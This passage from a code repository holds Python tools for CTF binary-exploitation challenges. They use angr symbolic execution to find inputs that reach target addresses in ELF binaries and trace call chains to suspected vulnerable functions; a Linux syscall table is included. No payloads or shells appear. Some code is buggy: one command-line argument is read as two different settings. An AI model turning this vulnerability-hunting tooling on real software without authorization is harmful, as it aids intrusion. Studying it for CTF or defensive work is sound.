input_size) for i in range(num_inputs)] 90 | input_stream = claripy.Concat(*input_data) 91 | initial_state = project.factory.blank_state(addr=start_addr, stdin=input_stream) 92 | constrain_inputs(initial_state, start_addr, end_addr, target_addr, conditional_addresses) 93 | 94 | simulation = project.factory.simulation_manager(initial_state) 95 | simulation.explore(find=target_addr, avoid=end_addr) 96 | 97 | if simulation.found: 98 | found_state = simulation.found[0] 99 | solutions = [found_state.solver.eval(input_data[i], cast_to=bytes) for i in range(num_inputs)] 100 | 101 | input_strings = [re.sub(br'[^a-zA-Z0-9+-]', b'', sol) for sol in solutions] 102 | minimized_input_strings = minimize_inputs(input_strings) 103 | return minimized_input_strings 104 | 105 | return None 106 | 107 | num_inputs, conditional_addresses = find_num_inputs(project, disassembler, elf, plt_reverse, instructions,file_os) 108 | result = find_inputs_to_reach_target(project, start_addr, end_addr, target_addr, max_input_size, num_inputs, conditional_addresses) 109 | 110 | if result is not None: 111 | print("Input to reach target address:", result) 112 | return result 113 | else: 114 | print("No input found to reach target address") 115 | return None 116 | 117 | if __name__ == "__main__": 118 | if len(sys.argv) != 6: 119 | print("Usage: python3 script.py ") 120 | sys.exit(1) 121 | binary_path = sys.argv[1] 122 | start_addr = int(sys.argv[2], 16) 123 | end_addr = int(sys.argv[3], 16) 124 | target_addr = int(sys.argv[4], 16) 125 | max_input_size = int(sys.argv[5]) 126 | file_os = int(sys.argv[5]) 127 | result = find_input_strings(binary_path, start_addr, end_addr, target_addr, max_input_size,file_os) 128 | -------------------------------------------------------------------------------- /AUTO-PWN/local_use/fuzz.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import claripy 3 | import angr 4 | import re 5 | from capstone import Cs, CS_ARCH_X86, CS_MODE_64 6 | from pwn import * 7 | from typing import List, Union 8 | 9 | 10 | def find_input_strings(binary_path: str, 11 | start_addr: int, 12 | end_addr: int, 13 | target_addr: int, 14 | max_input_size: int, 15 | file_os: int) -> Union[None, 16 | List[bytes]]: 17 | elf = ELF(binary_path) 18 | code = elf.read(start_addr, end_addr - start_addr) 19 | disassembler = Cs(CS_ARCH_X86, CS_MODE_64) 20 | instructions = list(disassembler.disasm(code, start_addr)) 21 | 22 | plt_reverse = {v: k for k, v in elf.plt.items()} 23 | 24 | project = angr.Project(binary_path, auto_load_libs=False) 25 | 26 | def constrain_inputs( 27 | state, 28 | start_addr, 29 | end_addr, 30 | target_addr, 31 | conditional_addresses): 32 | for addr in conditional_addresses: 33 | var = claripy.BVS("var_{}".format(addr), 32) 34 | state.memory.store(addr, var) 35 | state.add_constraints( 36 | state.solver.If( 37 | state.regs.rip == target_addr, 38 | var == 0xFFFFFDC9, 39 | True)) 40 | 41 | def find_num_inputs(project, disassembler, elf, plt_reverse, instructions,file_os): 42 | input_functions = { 43 | '__isoc99_scanf', 44 | 'fscanf', 45 | 'sscanf', 46 | 'read', 47 | 'fgets', 48 | 'gets'} 49 | num_inputs = 0 50 | input_addresses = set() 51 | conditional_addresses = set() 52 | if file_os==20: 53 | for m in list(plt_reverse.keys()): 54 | plt_reverse[m-4]=(plt_reverse[m]) 55 | plt_reverse.pop(m) 56 | for i, instruction in enumerate(instructions): 57 | if instruction.mnemonic == 'call': 58 | function_addr = int(instruction.op_str, 16) 59 | if function_addr in plt_reverse: 60 | func_name = plt_reverse[function_addr] 61 | if func_name in input_functions: 62 | num_inputs += 1 63 | 64 | prev_instruction = instructions[i - 1] 65 | if prev_instruction.mnemonic == 'lea': 66 | match = re.search( 67 | r'\[rbp(.*?)\]', prev_instruction.op_str) 68 | if match: 69 | mem_addr = int(match.group(1), 16) 70 | input_addresses.add(mem_addr) 71 | 72 | for instruction in instructions: 73 | if instruction.mnemonic == 'cmp': 74 | match = re.search(r'\[rbp(.*?)\],', instruction.op_str) 75 | if match: 76 | mem_addr = int(match.group(1), 16) 77 | 78 | if mem_addr in input_addresses: 79 | conditional_addresses.add(mem_addr) 80 | 81 | return num_inputs, conditional_addresses 82 | 83 | def find_inputs_to_reach_target( 84 | project, 85 | start_addr, 86 | end_addr, 87 | target_addr, 88 | max_input_size, 89 | num_inputs, 90 | conditional_addresses): 91 | input_functions = { 92 | '__isoc99_scanf', 93 | 'fscanf', 94 | 'sscanf', 95 | 'read', 96 | 'fgets', 97 | 'gets'} 98 | 99 | for input_size in range(10, max_input_size + 1): 100 | input_data = [ 101 | claripy.BVS( 102 | "input_data_{}".format(i), 103 | 8 * input_size) for i in range(num_inputs)] 104 | input_stream = claripy.Concat(*input_data) 105 | 106 | initial_state = project.factory.blank_state( 107 | addr=start_addr, stdin=input_stream) 108 | constrain_inputs( 109 | initial_state, 110 | start_addr, 111 | end_addr, 112 | target_addr, 113 | conditional_addresses) 114 | 115 | simulation = project.factory.simulation_manager(initial_state) 116 | simulation.explore(find=target_addr, avoid=end_addr) 117 | 118 | if simulation.found: 119 | found_state = simulation.found[0] 120 | solutions = [ 121 | found_state.solver.eval( 122 | input_data[i], 123 | cast_to=bytes) for i in range(num_inputs)] 124 | 125 | input_strings = [ 126 | re.sub( 127 | br'[^a-zA-Z0-9+-]', 128 | b'', 129 | sol) for sol in solutions] 130 | return input_strings 131 | 132 | return None 133 | 134 | num_inputs, conditional_addresses = find_num_inputs( 135 | project, disassembler, elf, plt_reverse, instructions,file_os) 136 | result = find_inputs_to_reach_target( 137 | project, 138 | start_addr, 139 | end_addr, 140 | target_addr, 141 | max_input_size, 142 | num_inputs, 143 | conditional_addresses) 144 | 145 | if result is not None: 146 | print("Input to reach target address:", result) 147 | return result 148 | else: 149 | print("No input found to reach target address") 150 | return None 151 | 152 | 153 | if __name__ == "__main__": 154 | if len(sys.argv) != 6: 155 | print("Usage: python3 script.py ") 156 | sys.exit(1) 157 | 158 | binary_path = sys.argv[1] 159 | start_addr = int(sys.argv[2], 16) 160 | end_addr = int(sys.argv[3], 16) 161 | target_addr = int(sys.argv[4], 16) 162 | max_input_size = int(sys.argv[5]) 163 | file_os = int(sys.argv[5]) 164 | result = find_input_strings( 165 | binary_path, 166 | start_addr, 167 | end_addr, 168 | target_addr, 169 | max_input_size, 170 | file_os) 171 | -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/remote_auto_pwn/fuzz.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import claripy 3 | import angr 4 | import re 5 | from capstone import Cs, CS_ARCH_X86, CS_MODE_64 6 | from pwn import * 7 | from typing import List, Union 8 | 9 | 10 | def find_input_strings(binary_path: str, 11 | start_addr: int, 12 | end_addr: int, 13 | target_addr: int, 14 | max_input_size: int, 15 | file_os: int) -> Union[None, 16 | List[bytes]]: 17 | elf = ELF(binary_path) 18 | code = elf.read(start_addr, end_addr - start_addr) 19 | disassembler = Cs(CS_ARCH_X86, CS_MODE_64) 20 | instructions = list(disassembler.disasm(code, start_addr)) 21 | 22 | plt_reverse = {v: k for k, v in elf.plt.items()} 23 | 24 | project = angr.Project(binary_path, auto_load_libs=False) 25 | 26 | def constrain_inputs( 27 | state, 28 | start_addr, 29 | end_addr, 30 | target_addr, 31 | conditional_addresses): 32 | for addr in conditional_addresses: 33 | var = claripy.BVS("var_{}".format(addr), 32) 34 | state.memory.store(addr, var) 35 | state.add_constraints( 36 | state.solver.If( 37 | state.regs.rip == target_addr, 38 | var == 0xFFFFFDC9, 39 | True)) 40 | 41 | def find_num_inputs(project, disassembler, elf, plt_reverse, instructions,file_os): 42 | input_functions = { 43 | '__isoc99_scanf', 44 | 'fscanf', 45 | 'sscanf', 46 | 'read', 47 | 'fgets', 48 | 'gets'} 49 | num_inputs = 0 50 | input_addresses = set() 51 | conditional_addresses = set() 52 | if file_os==20: 53 | for m in list(plt_reverse.keys()): 54 | plt_reverse[m-4]=(plt_reverse[m]) 55 | plt_reverse.pop(m) 56 | for i, instruction in enumerate(instructions): 57 | if instruction.mnemonic == 'call': 58 | function_addr = int(instruction.op_str, 16) 59 | if function_addr in plt_reverse: 60 | func_name = plt_reverse[function_addr] 61 | if func_name in input_functions: 62 | num_inputs += 1 63 | 64 | prev_instruction = instructions[i - 1] 65 | if prev_instruction.mnemonic == 'lea': 66 | match = re.search( 67 | r'\[rbp(.*?)\]', prev_instruction.op_str) 68 | if match: 69 | mem_addr = int(match.group(1), 16) 70 | input_addresses.add(mem_addr) 71 | 72 | for instruction in instructions: 73 | if instruction.mnemonic == 'cmp': 74 | match = re.search(r'\[rbp(.*?)\],', instruction.op_str) 75 | if match: 76 | mem_addr = int(match.group(1), 16) 77 | 78 | if mem_addr in input_addresses: 79 | conditional_addresses.add(mem_addr) 80 | 81 | return num_inputs, conditional_addresses 82 | 83 | def find_inputs_to_reach_target( 84 | project, 85 | start_addr, 86 | end_addr, 87 | target_addr, 88 | max_input_size, 89 | num_inputs, 90 | conditional_addresses): 91 | input_functions = { 92 | '__isoc99_scanf', 93 | 'fscanf', 94 | 'sscanf', 95 | 'read', 96 | 'fgets', 97 | 'gets'} 98 | 99 | for input_size in range(10, max_input_size + 1): 100 | input_data = [ 101 | claripy.BVS( 102 | "input_data_{}".format(i), 103 | 8 * input_size) for i in range(num_inputs)] 104 | input_stream = claripy.Concat(*input_data) 105 | 106 | initial_state = project.factory.blank_state( 107 | addr=start_addr, stdin=input_stream) 108 | constrain_inputs( 109 | initial_state, 110 | start_addr, 111 | end_addr, 112 | target_addr, 113 | conditional_addresses) 114 | 115 | simulation = project.factory.simulation_manager(initial_state) 116 | simulation.explore(find=target_addr, avoid=end_addr) 117 | 118 | if simulation.found: 119 | found_state = simulation.found[0] 120 | solutions = [ 121 | found_state.solver.eval( 122 | input_data[i], 123 | cast_to=bytes) for i in range(num_inputs)] 124 | 125 | input_strings = [ 126 | re.sub( 127 | br'[^a-zA-Z0-9+-]', 128 | b'', 129 | sol) for sol in solutions] 130 | return input_strings 131 | 132 | return None 133 | 134 | num_inputs, conditional_addresses = find_num_inputs( 135 | project, disassembler, elf, plt_reverse, instructions,file_os) 136 | result = find_inputs_to_reach_target( 137 | project, 138 | start_addr, 139 | end_addr, 140 | target_addr, 141 | max_input_size, 142 | num_inputs, 143 | conditional_addresses) 144 | 145 | if result is not None: 146 | print("Input to reach target address:", result) 147 | return result 148 | else: 149 | print("No input found to reach target address") 150 | return None 151 | 152 | 153 | if __name__ == "__main__": 154 | if len(sys.argv) != 6: 155 | print("Usage: python3 script.py ") 156 | sys.exit(1) 157 | 158 | binary_path = sys.argv[1] 159 | start_addr = int(sys.argv[2], 16) 160 | end_addr = int(sys.argv[3], 16) 161 | target_addr = int(sys.argv[4], 16) 162 | max_input_size = int(sys.argv[5]) 163 | file_os = int(sys.argv[5]) 164 | result = find_input_strings( 165 | binary_path, 166 | start_addr, 167 | end_addr, 168 | target_addr, 169 | max_input_size, 170 | file_os) 171 | -------------------------------------------------------------------------------- /HRP-CTF-PWN-FUZZ-v1.0/HRP-FUZZ-V1.0/syscall_table.txt: -------------------------------------------------------------------------------- 1 | #define __NR_read 0 2 | #define __NR_write 1 3 | #define __NR_open 2 4 | #define __NR_close 3 5 | #define __NR_stat 4 6 | #define __NR_fstat 5 7 | #define __NR_lstat 6 8 | #define __NR_poll 7 9 | #define __NR_lseek 8 10 | #define __NR_mmap 9 11 | #define __NR_mprotect 10 12 | #define __NR_munmap 11 13 | #define __NR_brk 12 14 | #define __NR_rt_sigaction 13 15 | #define __NR_rt_sigprocmask 14 16 | #define __NR_rt_sigreturn 15 17 | #define __NR_ioctl 16 18 | #define __NR_pread64 17 19 | #define __NR_pwrite64 18 20 | #define __NR_readv 19 21 | #define __NR_writev 20 22 | #define __NR_access 21 23 | #define __NR_pipe 22 24 | #define __NR_select 23 25 | #define __NR_sched_yield 24 26 | #define __NR_mremap 25 27 | #define __NR_msync 26 28 | #define __NR_mincore 27 29 | #define __NR_madvise 28 30 | #define __NR_shmget 29 31 | #define __NR_shmat 30 32 | #define __NR_shmctl 31 33 | #define __NR_dup 32 34 | #define __NR_dup2 33 35 | #define __NR_pause 34 36 | #define __NR_nanosleep 35 37 | #define __NR_getitimer 36 38 | #define __NR_alarm 37 39 | #define __NR_setitimer 38 40 | #define __NR_getpid 39 41 | #define __NR_sendfile 40 42 | #define __NR_socket 41 43 | #define __NR_connect 42 44 | #define __NR_accept 43 45 | #define __NR_sendto 44 46 | #define __NR_recvfrom 45 47 | #define __NR_sendmsg 46 48 | #define __NR_recvmsg 47 49 | #define __NR_shutdown 48 50 | #define __NR_bind 49 51 | #define __NR_listen 50 52 | #define __NR_getsockname 51 53 | #define __NR_getpeername 52 54 | #define __NR_socketpair 53 55 | #define __NR_setsockopt 54 56 | #define __NR_getsockopt 55 57 | #define __NR_clone 56 58 | #define __NR_fork 57 59 | #define __NR_vfork 58 60 | #define __NR_execve 59 61 | #define __NR_exit 60 62 | #define __NR_wait4 61 63 | #define __NR_kill 62 64 | #define __NR_uname 63 65 | #define __NR_semget 64 66 | #define __NR_semop 65 67 | #define __NR_semctl 66 68 | #define __NR_shmdt 67 69 | #define __NR_msgget 68 70 | #define __NR_msgsnd 69 71 | #define __NR_msgrcv 70 72 | #define __NR_msgctl 71 73 | #define __NR_fcntl 72 74 | #define __NR_flock 73 75 | #define __NR_fsync 74 76 | #define __NR_fdatasync 75 77 | #define __NR_truncate 76 78 | #define __NR_ftruncate 77 79 | #define __NR_getdents 78 80 | #define __NR_getcwd 79 81 | #define __NR_chdir 80 82 | #define __NR_fchdir 81 83 | #define __NR_rename 82 84 | #define __NR_mkdir 83 85 | #define __NR_rmdir 84 86 | #define __NR_creat 85 87 | #define __NR_link 86 88 | #define __NR_unlink 87 89 | #define __NR_symlink 88 90 | #define __NR_readlink 89 91 | #define __NR_chmod 90 92 | #define __NR_fchmod 91 93 | #define __NR_chown 92 94 | #define __NR_fchown 93 95 | #define __NR_lchown 94 96 | #define __NR_umask 95 97 | #define __NR_gettimeofday 96 98 | #define __NR_getrlimit 97 99 | #define __NR_getrusage 98 100 | #define __NR_sysinfo 99 101 | #define __NR_times 100 102 | #define __NR_ptrace 101 103 | #define __NR_getuid 102 104 | #define __NR_syslog 103 105 | #define __NR_getgid 104 106 | #define __NR_setuid 105 107 | #define __NR_setgid 106 108 | #define __NR_geteuid 107 109 | #define __NR_getegid 108 110 | #define __NR_setpgid 109 111 | #define __NR_getppid 110 112 | #define __NR_getpgrp 111 113 | #define __NR_setsid 112 114 | #define __NR_setreuid 113 115 | #define __NR_setregid 114 116 | #define __NR_getgroups 115 117 | #define __NR_setgroups 116 118 | #define __NR_setresuid 117 119 | #define __NR_getresuid 118 120 | #define __NR_setresgid 119 121 | #define __NR_getresgid 120 122 | #define __NR_getpgid 121 123 | #define __NR_setfsuid 122 124 | #define __NR_setfsgid 123 125 | #define __NR_getsid 124 126 | #define __NR_capget 125 127 | #define __NR_capset 126 128 | #define __NR_rt_sigpending 127 129 | #define __NR_rt_sigtimedwait 128 130 | #define __NR_rt_sigqueueinfo 129 131 | #define __NR_rt_sigsuspend 130 132 | #define __NR_sigaltstack 131 133 | #define __NR_utime 132 134 | #define __NR_mknod 133 135 | #define __NR_uselib 134 136 | #define __NR_personality 135 137 | #define __NR_ustat 136 138 | #define __NR_statfs 137 139 | #define __NR_fstatfs 138 140 | #define __NR_sysfs 139 141 | #define __NR_getpriority 140 142 | #define __NR_setpriority 141 143 | #define __NR_sched_setparam 142 144 | #define __NR_sched_getparam 143 145 | #define __NR_sched_setscheduler 144 146 | #define __NR_sched_getscheduler 145 147 | #define __NR_sched_get_priority_max 146 148 | #define __NR_sched_get_priority_min 147 149 | #define __NR_sched_rr_get_interval 148 150 | #define __NR_mlock 149 151 | #define __NR_munlock 150 152 | #define __NR_mlockall 151 153 | #define __NR_munlockall 152 154 | #define __NR_vhangup 153 155 | #define __NR_modify_ldt 154 156 | #define __NR_pivot_root 155 157 | #define __NR__sysctl 156 158 | #define __NR_prctl 157 159 | #define __NR_arch_prctl 158 160 | #define __NR_adjtimex 159 161 | #define __NR_setrlimit 160 162 | #define __NR_chroot 161 163 | #define __NR_sync 162 164 | #define __NR_acct 163 165 | #define __NR_settimeofday 164 166 | #define __NR_mount 165 167 | #define __NR_umount2 166 168 | #define __NR_swapon 167 169 | #define __NR_swapoff 168 170 | #define __NR_reboot 169 171 | #define __NR_sethostname 170 172 | #define __NR_setdomainname 171 173 | #define __NR_iopl 172 174 | #define __NR_ioperm 173 175 | #define __NR_create_module 174 176 | #define __NR_init_module 175 177 | #define __NR_delete_module 176 178 | #define __NR_get_kernel_syms 177 179 | #define __NR_query_module 178 180 | #define __NR_quotactl 179 181 | #define __NR_nfsservctl 180 182 | #define __NR_getpmsg 181 183 | #define __NR_putpmsg 182 184 | #define __NR_afs_syscall 183 185 | #define __NR_tuxcall 184 186 | #define __NR_security 185 187 | #define __NR_gettid 186 188 | #define __NR_readahead 187 189 | #define __NR_setxattr 188 190 | #define __NR_lsetxattr 189 191 | #define __NR_fsetxattr 190 192 | #define __NR_getxattr 191 193 | #define __NR_lgetxattr 192 194 | #define __NR_fgetxattr 193 195 | #define __NR_listxattr 194 196 | #define __NR_llistxattr 195 197 | #define __NR_flistxattr 196 198 | #define __NR_removexattr 197 199 | #define __NR_lremovexattr 198 200 | #define __NR_fremovexattr 199 201 | #define __NR_tkill 200 202 | #define __NR_time 201 203 | #define __NR_futex 202 204 | #define __NR_sched_setaffinity 203 205 | #define __NR_sched_getaffinity 204 206 | #define __NR_set_thread_area 205 207 | #define __NR_io_setup 206 208 | #define __NR_io_destroy 207 209 | #define __NR_io_getevents 208 210 | #define __NR_io_submit 209 211 | #define __NR_io_cancel 210 212 | #define __NR_get_thread_area 211 213 | #define __NR_lookup_dcookie 212 214 | #define __NR_epoll_create 213 215 | #define __NR_epoll_ctl_old 214 216 | #define __NR_epoll_wait_old 215 217 | #define __NR_remap_file_pages 216 218 | #define __NR_getdents64 217 219 | #define __NR_set_tid_address 218 220 | #define __NR_restart_syscall 219 221 | #define __NR_semtimedop 220 222 | #define __NR_fadvise64 221 223 | #define __NR_timer_create 222 224 | #define __NR_timer_settime 223 225 | #define __NR_timer_gettime 224 226 | #define __NR_timer_getoverrun 225 227 | #define __NR_timer_delete 226 228 | #define __NR_clock_settime 227 229 | #define __NR_clock_gettime 228 230 | #define __NR_clock_getres 229 231 | #define __NR_clock_nanosleep 230 232 | #define __NR_exit_group 231 233 | #define __NR_epoll_wait 232 234 | #define __NR_epoll_ctl 233 235 | #define __NR_tgkill 234 236 | #define __NR_utimes 235 237 | #define __NR_vserver 236 238 | #define __NR_mbind 237 239 | #define __NR_set_mempolicy 238 240 | #define __NR_get_mempolicy 239 241 | #define __NR_mq_open 240 242 | #define __NR_mq_unlink 241 243 | #define __NR_mq_timedsend 242 244 | #define __NR_mq_timedreceive 243 245 | #define __NR_mq_notify 244 246 | #define __NR_mq_getsetattr 245 247 | #define __NR_kexec_load 246 248 | #define __NR_waitid 247 249 | #define __NR_add_key 248 250 | #define __NR_request_key 249 251 | #define __NR_keyctl 250 252 | #define __NR_ioprio_set 251 253 | #define __NR_ioprio_get 252 254 | #define __NR_inotify_init 253 255 | #define __NR_inotify_add_watch 254 256 | #define __NR_inotify_rm_watch 255 257 | #define __NR_migrate_pages 256 258 | #define __NR_openat 257 259 | #define __NR_mkdirat 258 260 | #define __NR_mknodat 259 261 | #define __NR_fchownat 260 262 | #define __NR_futimesat 261 263 | #define __NR_newfstatat 262 264 | #define __NR_unlinkat 263 265 | #define __NR_renameat 264 266 | #define __NR_linkat 265 267 | #define __NR_symlinkat 266 268 | #define __NR_readlinkat 267 269 | #define __NR_fchmodat 268 270 | #define __NR_faccessat 269 271 | #define __NR_pselect6 270 272 | #define __NR_ppoll 271 273 | #define __NR_unshare 272 274 | #define __NR_set_robust_list 273 275 | #define __NR_get_robust_list 274 276 | #define __NR_splice 275 277 | #define __NR_tee 276 278 | #define __NR_sync_file_range 277 279 | #define __NR_vmsplice 278 280 | #define __NR_move_pages 279 281 | #define __NR_utimensat 280 282 | #define __NR_epoll_pwait 281 283 | #define __NR_signalfd 282 284 | #define __NR_timerfd_create 283 285 | #define __NR_eventfd 284 286 | #define __NR_fallocate 285 287 | #define __NR_timerfd_settime 286 288 | #define __NR_timerfd_gettime 287 289 | #define __NR_accept4 288 290 | #define __NR_signalfd4 289 291 | #define __NR_eventfd2 290 292 | #define __NR_epoll_create1 291 293 | #define __NR_dup3 292 294 | #define __NR_pipe2 293 295 | #define __NR_inotify_init1 294 296 | #define __NR_preadv 295 297 | #define __NR_pwritev 296 298 | #define __NR_rt_tgsigqueueinfo 297 299 | #define __NR_perf_event_open 298 300 | #define __NR_recvmmsg 299 301 | #define __NR_fanotify_init 300 302 | #define __NR_fanotify_mark 301 303 | #define __NR_prlimit64 302 304 | #define __NR_name_to_handle_at 303 305 | #define __NR_open_by_handle_at 304 306 | #define __NR_clock_adjtime 305 307 | #define __NR_syncfs 306 308 | #define __NR_sendmmsg 307 309 | #define __NR_setns 308 310 | #define __NR_getcpu 309 311 | #define __NR_process_vm_readv 310 312 | #define __NR_process_vm_writev 311 313 | #define __NR_kcmp 312 314 | #define __NR_finit_module 313 315 | #define __NR_sched_setattr 314 316 | #define __NR_sched_getattr 315 317 | #define __NR_renameat2 316 318 | #define __NR_seccomp 317 319 | #define __NR_getrandom 318 320 | #define __NR_memfd_create 319 321 | #define __NR_kexec_file_load 320 322 | #define __NR_bpf 321 323 | #define __NR_execveat 322 324 | #define __NR_userfaultfd 323 325 | #define __NR_membarrier 324 326 | #define __NR_mlock2 325 327 | #define __NR_copy_file_range 326 328 | #define __NR_preadv2 327 329 | #define __NR_pwritev2 328 -------------------------------------------------------------------------------- /AUTO-PWN/local_use/HRP-FUZZ-2.0.py: -------------------------------------------------------------------------------- 1 | # encoding=utf-8 2 | # 导入主要函数库 3 | from pwn import * 4 | import pwnlib 5 | import numpy as np 6 | import os 7 | import sys 8 | import logging 9 | import fuzz2 10 | import fuzz 11 | # 初始化设置为debug模式和设置elf架构 12 | context(os='linux', arch='amd64') 13 | 14 | # 自定义审查函数名 15 | Function_Name = {} # key是函数名,value是函数地址 16 | # 定义call字典 17 | Call_list = {} # Call_list的key是call 调用点,value是被调用函数的地址 18 | # 定义主函数地址 19 | main_addr = 0 20 | # 用户自定义函数判断被call判断字典 21 | User_Function = {} 22 | # 读取自定义审查函数文件 23 | 24 | 25 | def loads_function_list(): 26 | try: 27 | with open('./function_list', 'r') as f: 28 | for line in f: 29 | line = line.replace('\n', '') 30 | Function_Name[line] = 0 31 | except Exception as e: 32 | print(e) 33 | exit(1) 34 | 35 | 36 | # 利用pwntools获取elf文件中的程序地址 37 | printogram_base = 0 38 | 39 | 40 | def get_addr(elf, file_os): # 用pwntools搜素我们需要的库函数,如果是Ubuntu20需要进行-4定位到真正在汇编中的调用地址 41 | # 程序基地址 42 | global printogram_base 43 | printogram_base = elf.address 44 | print(('[+]printogram_base:' + hex(printogram_base))) 45 | global eh_frame_addr 46 | eh_frame_addr = elf.get_section_by_name('.eh_frame').header.sh_addr 47 | global start_offset 48 | start_offset = elf.header.e_entry 49 | offset = elf.read(start_offset, 0x40).find(b'\x48\xc7\xc7') # mov rdi,? 50 | global main_addr 51 | main_addr = u32(elf.read(start_offset + offset + 3, 4)) 52 | print(('[+]eh_frame_addr:' + hex(eh_frame_addr))) 53 | print(('[+]start_offset:' + hex(start_offset))) 54 | print(('[+]main_addr:' + hex(main_addr))) 55 | print("") 56 | for item in list(Function_Name.keys()): 57 | try: 58 | # 查询Ubuntu18 59 | if file_os == 18: 60 | Function_Name[item] = (elf.sym[item]) 61 | print(("[+]Found " + str(item) + 62 | " address:" + hex(Function_Name[item]))) 63 | # 查询Ubuntu20-22编译的程序地址-4 64 | if file_os == 20: 65 | Function_Name[item] = (elf.sym[item]) - 4 66 | print(("[+]Found " + str(item) + 67 | " address:" + hex(Function_Name[item]))) 68 | except Exception as e: 69 | # 找不到就弹出这个字典 70 | Function_Name.pop(item) 71 | 72 | # 查找都call了哪些函数 73 | 74 | 75 | def search_call_what(elf, file_name, argv): 76 | cmd = os.popen("strings ./" + file_name + " | grep GCC") 77 | found_file_os = cmd.read() # 利用管道获取GCC查询结果获取系统版本 78 | print(("[+]Found file_os ing..." + found_file_os)) 79 | # 个人目前总结分析,glibc2.23-2.27 2.31-2.35分2大类特征 80 | if "18.04" in found_file_os: 81 | file_os = 18 82 | os_16_flag = 0 83 | elif "16.04" in found_file_os: 84 | file_os = 18 85 | os_16_flag = 1 86 | elif "20.04" in found_file_os: 87 | file_os = 20 88 | os_16_flag = 0 89 | elif "20.04" in found_file_os: 90 | file_os = 20 91 | os_16_flag = 0 92 | elif "22.04" in found_file_os: 93 | file_os = 20 94 | os_16_flag = 0 95 | else: 96 | print( 97 | "[+]MAYBE YOU BUILD YOUR BINARY IN OTHER OS,BUT WE DO NOT SUPPORT TO CHECK IT ,SORRY!") 98 | exit(0) 99 | get_addr(elf, file_os) 100 | print("") 101 | # print("Finding Call") 102 | # 利用pwntools查询call指令的机器码字节E8 103 | call = elf.search(b'\xE8') 104 | # 利用numpy把list变成array 105 | call_addr = np.array(list(call)) 106 | # 计算长度 107 | call_len = len(call_addr) 108 | # 获取相对地址 109 | for i in range(call_len): 110 | # 获取call xx中xx到这条call指令的相对地址 111 | Relative_address = ( 112 | u64(elf.read(int(call_addr[i]), 5)[1:5].ljust(8, b'\x00'))) 113 | # 地址总和上限就是0xffffffff,还要减去操作数据(也就是相对地址)的站位长度 114 | Relative_len = 0xffffffff - Relative_address - 4 115 | for item in list(Function_Name.keys()): 116 | # 获取库函数在ELF的地址 117 | tmp_addr = Function_Name[item] 118 | # 如果plt地址+正相对地址等于call指令地址 则判断为call plt 119 | maybe_addr = tmp_addr + Relative_len 120 | if (maybe_addr == call_addr[i]): 121 | Call_list[call_addr[i]] = item 122 | 123 | # 获取所有用户定义的函数头和尾 124 | get_all_user_func(elf, file_name, file_os) 125 | 126 | # 上面的没做完善,只是进行了审查列表的求解,下面是所有call xx的求解 127 | for i in call_addr: 128 | # 截取相对地址最后一位判断正负 129 | plus_minus = (u64(elf.read(int(i), 5)[4:5].ljust(8, b'\x00'))) 130 | if plus_minus == 0xff: 131 | Relative_address = ( 132 | u64(elf.read(int(i), 5)[1:5].ljust(8, b'\x00'))) 133 | Relative_len = 0xffffffff - Relative_address - 4 134 | for item in list(User_Function.keys()): 135 | tmp_addr = item 136 | maybe_addr = tmp_addr + Relative_len 137 | if (maybe_addr == i): 138 | Call_list[i] = item 139 | else: 140 | Relative_address = ( 141 | u64(elf.read(int(i), 5)[1:5].ljust(8, b'\x00'))) 142 | Relative_len = Relative_address 143 | for item in list(User_Function.keys()): 144 | maybe_addr = Relative_len + i + 5 145 | if (maybe_addr == item): 146 | Call_list[i] = item 147 | # 打印call列表 148 | for item in list(Call_list.keys()): 149 | # print("[+] "+hex(item)+" call:"), 150 | if isinstance(Call_list[item], str): 151 | pass 152 | # print((Call_list[item])) 153 | else: 154 | pass 155 | # print(hex(Call_list[item])) 156 | 157 | # 这个函数非常重要,是寻找所有的call所属的函数定位 158 | Hierarchical = Hierarchical_call_lookup(item, file_os) 159 | # print("[+] "+hex(item)+" Hierarchical call:"+hex(Hierarchical)) 160 | # print("") 161 | 162 | # 这个的实现主要是补全callback功能 使得用户可以从函数头和call调用点去层层回调找到调用链 163 | for item in User_Function: 164 | Hierarchical_function_lookup(item, file_os) 165 | 166 | try: 167 | if argv[2] == "--callback": 168 | print("[+]自动化路径如下(main->addr):") 169 | addr = int(argv[3], 16) 170 | addrs = np.int64(addr) 171 | recursive_search_call_chain(addrs, []) 172 | for chains in chain: 173 | chains.reverse() 174 | for index in chains: 175 | print(((hex(index))), end=' ') 176 | if index == addrs: 177 | print("") 178 | else: 179 | print((' -> '), end=' ') 180 | exit(0) 181 | except Exception as e: 182 | pass 183 | 184 | overturn_Hierarchical() 185 | solve_call(elf, file_name, file_os) 186 | 187 | 188 | # 递归搜索调用链 189 | chain = [] 190 | # Call_list的key是call 调用点,value是被调用函数的地址 191 | # Hierarchical_list的key是push rbp也就是每个函数的头,value是call调用点 192 | # 我们先从溢出点传入for循环查找到溢出点的rbp 193 | # 然后把这个rbp假定为被别的函数调用了,让Call_list去for循环比对找到rbp的被调用点 194 | # 如此循环往复,在到达默认深度结束以后就会给出完整的一条或者多条调用链 195 | # 这个处理还是有小部分问题无法识别解决,我摆烂了 196 | 197 | 198 | def recursive_search_call_chain(address, current_chain): 199 | try: 200 | for i in Hierarchical_list: 201 | for j in Hierarchical_list[i]: 202 | if j == address: 203 | current_chain.append((i)) 204 | tmp = i 205 | for y in Call_list: 206 | a = Call_list[y] 207 | if isinstance(a, str): 208 | continue 209 | if a == tmp: 210 | recursive_search_call_chain( 211 | y, current_chain) # 递归调用,将当前的调用点添加到调用链中 212 | current_chain.pop() # 从调用链中移除当前的调用点 213 | if main_addr in current_chain[:]: 214 | chain.append(current_chain[:]) 215 | except Exception as e: 216 | print(e) 217 | print("无法探测调用链") 218 | exit(0) 219 | 220 | # raw_input() 221 | 222 | 223 | # 定义全局层级调用字典 224 | Hierarchical_list = defaultdict(list) 225 | 226 | 227 | def Hierarchical_call_lookup(addr, file_os): 228 | tmp_list = [] 229 | # search mov_rbp_rsp 把addr与最近的mov_rbp_rsp相加-x就可以得到该addr被哪个函数调用 230 | mov_rbp_rsp = elf.search(b'\x48\x89\xe5') 231 | mov_rbp_rsp_addr = np.array(list(mov_rbp_rsp)) 232 | for address in mov_rbp_rsp_addr: 233 | sub = addr - address 234 | if sub > 0: 235 | tmp_list.append(sub) 236 | if file_os == 18: 237 | Hierarchical = addr - min(tmp_list) - 1 238 | # ubuntu20-22多了个endbr64 need sub 5 239 | else: 240 | Hierarchical = addr - min(tmp_list) - 5 241 | # Hierarchical_list[函数头]=call xxx 242 | 